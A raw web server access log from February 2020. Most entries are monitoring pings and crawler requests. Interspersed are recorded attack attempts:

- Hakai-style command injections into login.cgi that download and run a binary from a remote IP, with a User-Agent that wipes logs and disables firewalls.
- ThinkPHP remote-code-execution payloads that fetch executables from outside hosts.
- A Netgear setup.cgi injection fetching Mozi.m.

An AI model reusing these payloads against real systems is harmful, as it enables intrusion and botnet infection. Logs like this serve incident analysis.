85.110.89.145 - - [17/Feb/2020:16:54:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
5.101.0.209 - - [17/Feb/2020:16:55:10 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:16:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.201.179.21 - - [17/Feb/2020:16:55:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:16:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
72.214.99.2 - - [17/Feb/2020:16:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:16:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.224.180.231 - - [17/Feb/2020:16:59:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:16:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.73.74.97 - - [17/Feb/2020:16:59:44 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.73.74.97 - - [17/Feb/2020:16:59:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
78.186.153.65 - - [17/Feb/2020:17:00:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:17:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.201.179 - - [17/Feb/2020:17:00:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:17:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.238.93.228 - - [17/Feb/2020:17:07:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:17:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [17/Feb/2020:17:08:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [17/Feb/2020:17:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.82.9.46 - - [17/Feb/2020:17:09:49 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
14.207.151.71 - - [17/Feb/2020:17:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:17:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.110.89.145 - - [17/Feb/2020:17:11:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:17:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
131.221.164.7 - - [17/Feb/2020:17:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:17:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.204.64.17 - - [17/Feb/2020:17:18:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:17:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [17/Feb/2020:17:22:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:17:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.232.15.102 - - [17/Feb/2020:17:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:17:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.100.236 - - [17/Feb/2020:17:34:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:17:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.10.150.195 - - [17/Feb/2020:17:36:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:17:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.164.103.122 - - [17/Feb/2020:17:36:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
49.51.11.68 - - [17/Feb/2020:17:37:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.51.11.68 - - [17/Feb/2020:17:37:21 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [17/Feb/2020:17:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.137.5.33 - - [17/Feb/2020:17:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:17:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.248.137.98 - - [17/Feb/2020:17:49:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:17:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.91.51.14 - - [17/Feb/2020:17:52:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.152.6.58 - - [17/Feb/2020:17:53:23 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:17:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.85.172 - - [17/Feb/2020:17:55:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:17:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:17:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [17/Feb/2020:17:59:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:17:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.186.179 - - [17/Feb/2020:18:02:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [17/Feb/2020:18:04:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:18:04:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:18:04:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:18:04:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:18:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [17/Feb/2020:18:04:38 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:18:04:39 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:18:04:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:18:05:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:18:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.14.134.10 - - [17/Feb/2020:18:09:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.74.94.216 - - [17/Feb/2020:18:09:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.229.159.138 - - [17/Feb/2020:18:10:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.100.15.32 - - [17/Feb/2020:18:13:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
71.77.51.27 - - [17/Feb/2020:18:13:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.71.144.233 - - [17/Feb/2020:18:13:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:18:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.106.29.210 - - [17/Feb/2020:18:20:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
193.106.29.210 - - [17/Feb/2020:18:20:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
193.106.29.210 - - [17/Feb/2020:18:20:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
193.106.29.210 - - [17/Feb/2020:18:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
193.106.29.210 - - [17/Feb/2020:18:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
193.106.29.210 - - [17/Feb/2020:18:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
212.91.246.72 - - [17/Feb/2020:18:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
